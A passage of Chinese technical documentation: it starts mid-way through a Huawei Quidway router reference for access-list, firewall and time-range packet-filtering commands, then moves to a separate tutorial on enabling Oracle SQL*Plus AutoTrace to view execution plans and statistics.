    icmp-type[可选] 在协议为ICMP时出现,代表ICMP报文类型;可以是关键字所设定的预设值(如echo-reply)或者是0~255之间的一个数值。
   
    icmp-code在协议为ICMP且没有选择所设定的预设值时出现;代表ICMP码,是0~255之间的一个数值。
   
    log [可选] 表示如果报文符合条件,需要做日志。
   
    listnumber 为删除的规则序号,是1~199之间的一个数值。
   
    subitem[可选] 指定删除序号为listnumber的访问列表中规则的序号。
   
    【缺省情况】
   
    系统缺省不配置任何访问规则。
   
    【命令模式】
   
    全局配置模式
   
    【使用指南】
   
    同一个序号的规则可以看作一类规则;所定义的规则不仅可以用来在接口上过滤报文,也可以被如DDR等用来判断一个报文是否是感兴趣的报文,此时,permit与deny表示是感兴趣的还是不感兴趣的。
   
    使用协议域为IP的扩展访问列表来表示所有的IP协议。
   
    同一个序号之间的规则按照一定的原则进行排列和选择,这个顺序可以通过 show access-list 命令看到。
   
    【举例】
   
    允许源地址为10.1.1.0 网络、目的地址为10.1.2.0网络的WWW访问,但不允许使用FTP。
   
    Quidway(config)#access-list 100 permit tcp 10.1.1.0 0.0.0.255 10.1.2.0 0.0.0.255 eq www
   
    Quidway(config)#access-list 100 deny tcp 10.1.1.0 0.0.0.255 10.1.2.0 0.0.0.255 eq ftp
   
    【相关命令】
   
    ip access-group
   
    二、clear access-list counters 清除访问列表规则的统计信息。
   
    clear access-list counters [ listnumber ]
   
    【参数说明】
   
    listnumber [可选] 要清除统计信息的规则的序号,如不指定,则清除所有的规则的统计信息。
   
    【缺省情况】
   
    任何时候都不清除统计信息。
   
    【命令模式】
   
    特权用户模式
   
    【使用指南】
   
    使用此命令来清除当前所用规则的统计信息,不指定规则编号则清除所有规则的统计信息。
   
    【举例】
   
    例1:清除当前所使用的序号为100的规则的统计信息。
   
    Quidway#clear access-list counters 100
   
    例2:清除当前所使用的所有规则的统计信息。
   
    Quidway#clear access-list counters
   
    【相关命令】
   
    access-list
   
    三、firewall 启用或禁止防火墙。
   
    firewall { enable | disable }
   
    【参数说明】
   
    enable 表示启用防火墙。
   
    disable 表示禁止防火墙。
   
    【缺省情况】
   
    系统缺省为禁止防火墙。
   
    【命令模式】
   
    全局配置模式
   
    【使用指南】
   
    使用此命令来启用或禁止防火墙,可以通过show firewall命令看到相应结果。如果采用了时间段包过滤,则在防火墙被关闭时也将被关闭;该命令控制防火墙的总开关。在使用 firewall disable 命令关闭防火墙时,防火墙本身的统计信息也将被清除。
   
    【举例】
   
    启用防火墙。
   
    Quidway(config)#firewall enable
   
    【相关命令】
   
    access-list,ip access-group
   
    四、firewall default 配置防火墙在没有相应的访问规则匹配时,缺省的过滤方式。
   
    firewall default { permit | deny }
   
    【参数说明】
   
    permit 表示缺省过滤属性设置为“允许”。
   
    deny 表示缺省过滤属性设置为“禁止”。
   
    【缺省情况】
   
    在防火墙开启的情况下,报文被缺省允许通过。
   
    【命令模式】
   
    全局配置模式
   
    【使用指南】
   
    当在接口应用的规则没有一个能够判断一个报文是否应该被允许还是禁止时,缺省的过滤属性将起作用;如果缺省过滤属性是“允许”,则报文可以通过,否则报文被丢弃。
   
    【举例】
   
    设置缺省过滤属性为“允许”。
   
    Quidway(config)#firewall default permit
   
    五、ip access-group 使用此命令将规则应用到接口上。使用此命令的no形式来删除相应的设置。
   
    ip access-group listnumber { in | out }
   
    [ no ] ip access-group listnumber { in | out }
   
    【参数说明】
   
    listnumber 为规则序号,是1~199之间的一个数值。
   
    in 表示规则用于过滤从接口收上来的报文。
   
    out 表示规则用于过滤从接口转发的报文。
   
    【缺省情况】
   
    没有规则应用于接口。
   
    【命令模式】
   
    接口配置模式。
   
    【使用指南】
   
    使用此命令来将规则应用到接口上;如果要过滤从接口收上来的报文,则使用 in 关键字;如果要过滤从接口转发的报文,使用out 关键字。一个接口的一个方向上最多可以应用20类不同的规则;这些规则之间按照规则序号的大小进行排列,序号大的排在前面,也就是优先级高。对报文进行过滤时,将采用发现符合的规则即得出过滤结果的方法来加快过滤速度。所以,建议在配置规则时,尽量将对同一个网络配置的规则放在同一个序号的访问列表中;在同一个序号的访问列表中,规则之间的排列和选择顺序可以用show access-list命令来查看。
   
    【举例】
   
    将规则101应用于过滤从以太网口收上来的报文。
   
    Quidway(config-if-Ethernet0)#ip access-group 101 in
   
    【相关命令】
   
    access-list
   
    六、settr 设定或取消特殊时间段。
   
    settr begin-time end-time
   
    no settr
   
    【参数说明】
   
    begin-time 为一个时间段的开始时间。
   
    end-time 为一个时间段的结束时间,应该大于开始时间。
   
    【缺省情况】
   
    系统缺省没有设置时间段,即认为全部为普通时间段。
   
    【命令模式】
   
    全局配置模式
   
    【使用指南】
   
    使用此命令来设置时间段;可以最多同时设置6个时间段,通过show timerange 命令可以看到所设置的时间。如果在已经使用了一个时间段的情况下改变时间段,则此修改将在一分钟左右生效(系统查询时间段的时间间隔)。设置的时间应该是24小时制。如果要设置类似晚上9点到早上8点的时间段,可以设置成“settr 21:00 23:59 0:00 8:00”,因为所设置的时间段的两个端点属于时间段之内,故不会产生时间段内外的切换。另外这个设置也经过了2000问题的测试。
   
    【举例】
   
    例1:设置时间段为8:30 ~ 12:00,14:00 ~ 17:00。
   
    Quidway(config)#settr 8:30 12:00 14:00 17:00
   
    例2: 设置时间段为晚上9点到早上8点。
   
    Quidway(config)#settr 21:00 23:59 0:00 8:0
   
    【相关命令】
   
    timerange,show timerange
   
    七、show access-list 显示包过滤规则及在接口上的应用。
   
    show access-list [ all | listnumber | interface interface-name ]
   
    【参数说明】
   
    all 表示所有的规则,包括普通时间段内及特殊时间段内的规则。
   
    listnumber 为显示当前所使用的规则中序号为listnumber的规则。
   
    interface 表示要显示在指定接口上应用的规则序号。
   
    interface-name 为接口的名称。
   
    【命令模式】
   
    特权用户模式
   
    【使用指南】
   
    使用此命令来显示所指定的规则,同时查看规则过滤报文的情况。每个规则都有一个相应的计数器,如果用此规则过滤了一个报文,则计数器加1;通过对计数器的观察可以看出所配置的规则中,哪些规则是比较有效,而哪些基本无效。可以通过带interface关键字的show access-list命令来查看某个接口应用规则的情况。
   
    【举例】
   
    例1:显示当前所使用的序号为100的规则。
   
    Quidway#show access-list 100
   
    Using normal packet-filtering access rules now.
   
    100 deny icmp 10.1.0.0 0.0.255.255 any host-redirect (3 matches,252 bytes — rule 1)
   
    100 permit icmp 10.1.0.0 0.0.255.255 any echo (no matches — rule 2)
   
    100 deny udp any any eq rip (no matches — rule 3)
   
    例2: 显示接口Serial0上应用规则的情况。
   
    Quidway#show access-list interface serial 0
   
    Serial0:
   
    access-list filtering In-bound packets : 120
   
    access-list filtering Out-bound packets: None
   
    【相关命令】
   
    access-list
   
    八、show firewall 显示防火墙状态。
   
    show firewall
   
    【命令模式】
   
    特权用户模式
   
    【使用指南】
   
    使用此命令来显示防火墙的状态,包括防火墙是否被启用,启用防火墙时是否采用了时间段包过滤及防火墙的一些统计信息。
   
    【举例】
   
    显示防火墙状态。
   
    Quidway#show firewall
   
    Firewall is enable, default filtering method is 'permit'.
   
    TimeRange packet-filtering enable.
   
    InBound packets: None;
   
    OutBound packets: 0 packets, 0 bytes, 0% permitted,
   
    0 packets, 0 bytes, 0% denied,
   
    2 packets, 104 bytes, 100% permitted defaultly,
   
    0 packets, 0 bytes, 100% denied defaultly.
   
    From 00:13:02 to 06:13:21: 0 packets, 0 bytes, permitted.
   
    【相关命令】
   
    firewall
   
    九、show isintr 显示当前时间是否在时间段之内。
   
    show isintr
   
    【命令模式】
   
    特权用户模式
   
    【使用指南】
   
    使用此命令来显示当前时间是否在时间段之内。
   
    【举例】
   
    显示当前时间是否在时间段之内。
   
    Quidway#show isintr
   
    It is NOT in time ranges now.
   
    【相关命令】
   
    timerange,settr
   
    十、show timerange 显示时间段包过滤的信息。
   
    show timerange
   
    【命令模式】
   
    特权用户模式
   
    【使用指南】
   
    使用此命令来显示当前是否允许时间段包过滤及所设置的时间段。
   
    【举例】
   
    显示时间段包过滤的信息。
   
    Quidway#show timerange
   
    TimeRange packet-filtering enable.
   
    beginning of time range:
   
    01:00 – 02:00
   
    03:00 – 04:00
   
    end of time range.
   
    【相关命令】
   
    timerange,settr
   
    十一、timerange 启用或禁止时间段包过滤功能。
   
    timerange { enable | disable }
   
    【参数说明】
   
    enable 表示启用时间段包过滤。
   
    disable 表示禁止采用时间段包过滤。
   
    【缺省情况】
   
    系统缺省为禁止时间段包过滤功能。
   
    【命令模式】
   
    全局配置模式
   
    【使用指南】
   
    使用此命令来启用或禁止时间段包过滤功能,可以通过show firewall命令看到,也可以通过show timerange命令看到配置结果。在时间段包过滤功能被启用后,系统将根据当前的时间和设置的时间段来确定使用时间段内(特殊)的规则还是时间段外(普通)的规则。系统查询时间段的精确度为1分钟。所设置的时间段的两个端点属于时间段之内。
   
    【举例】
   
    启用时间段包过滤功能。
   
    Quidway(config)#timerange enable
   
    【相关命令】
   
    settr,show timerange

如何启用AutoTrace 查看SQL执行计划

如何启用AutoTrace 查看SQL执行计划通过以下方法可以把Autotrace的权限授予Everyone,

如果你需要限制Autotrace权限,可以把对public的授权改为对特定user的授权。

D:oracleora92>sqlplus /nolog
SQL*Plus: Release 9.2.0.1.0 – Production on 星期二 6月 3 15:16:03 2003
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
SQL> connect sys as sysdba
请输入口令:
已连接。
SQL> @?rdbmsadminutlxplan
表已创建。
SQL> create public synonym plan_table for plan_table;
同义词已创建。
SQL> grant all on plan_table to public ;
授权成功。
SQL> @?sqlplusadminplustrce
SQL>
SQL> drop role plustrace;
drop role plustrace
*
ERROR 位于第 1 行:
ORA-01919: 角色'PLUSTRACE'不存在
SQL> create role plustrace;
角色已创建
SQL>
SQL> grant select on v_$sesstat to plustrace;
授权成功。
SQL> grant select on v_$statname to plustrace;
授权成功。
SQL> grant select on v_$session to plustrace;
授权成功。
SQL> grant plustrace to dba with admin option;
授权成功。
SQL>
SQL> set echo off

DBA用户首先被授予了plustrace角色,然后我们可以把plustrace授予public
这样所有用户都将拥有plustrace角色的权限.

SQL> grant plustrace to public ;

授权成功。
然后我们就可以使用AutoTrace的功能了.

SQL> connect eqsp/eqsp
已连接。
SQL> set autotrace on
SQL> set timing on
SQL>

关于Autotrace几个常用选项的说明:
SET AUTOTRACE OFF —————- 不生成AUTOTRACE 报告,这是缺省模式
SET AUTOTRACE ON EXPLAIN —— AUTOTRACE只显示优化器执行路径报告
SET AUTOTRACE ON STATISTICS — 只显示执行统计信息
SET AUTOTRACE ON —————– 包含执行计划和统计信息
SET AUTOTRACE TRACEONLY —— 同set autotrace on,但是不显示查询输出

SQL> set autotrace traceonly
SQL> select table_name from user_tables;
已选择98行。
已用时间: 00: 00: 00.04
Execution Plan
———————————————————-
0 SELECT STATEMENT Optimizer=CHOOSE
1 0 NESTED LOOPS
2 1 NESTED LOOPS (OUTER)
3 2 NESTED LOOPS (OUTER)
4 3 NESTED LOOPS (OUTER)
5 4 NESTED LOOPS (OUTER)
6 5 NESTED LOOPS
7 6 TABLE ACCESS (BY INDEX ROWID) OF 'OBJ$'
8 7 INDEX (RANGE SCAN) OF 'I_OBJ2' (UNIQUE)
9 6 TABLE ACCESS (CLUSTER) OF 'TAB$'
10 9 INDEX (UNIQUE SCAN) OF 'I_OBJ#' (NON-UNIQUE)
11 5 TABLE ACCESS (BY INDEX ROWID) OF 'OBJ$'
12 11 INDEX (UNIQUE SCAN) OF 'I_OBJ1' (UNIQUE)
13 4 INDEX (UNIQUE SCAN) OF 'I_OBJ1' (UNIQUE)
14 3 TABLE ACCESS (CLUSTER) OF 'USER$'
15 14 INDEX (UNIQUE SCAN) OF 'I_USER#' (NON-UNIQUE)
16 2 TABLE ACCESS (CLUSTER) OF 'SEG$'
17 16 INDEX (UNIQUE SCAN) OF 'I_FILE#_BLOCK#' (NON-UNIQUE)
18 1 TABLE ACCESS (CLUSTER) OF 'TS$'
19 18 INDEX (UNIQUE SCAN) OF 'I_TS#' (NON-UNIQUE)

Statistics
———————————————————-
0 recursive calls
0 db block gets
1389 consistent gets
0 physical reads
0 redo size
2528 bytes sent via SQL*Net to client
569 bytes received via SQL*Net from client
8 SQL*Net roundtrips to/from client
0 sorts (memory)
0 sorts (disk)
98 rows processed
SQL>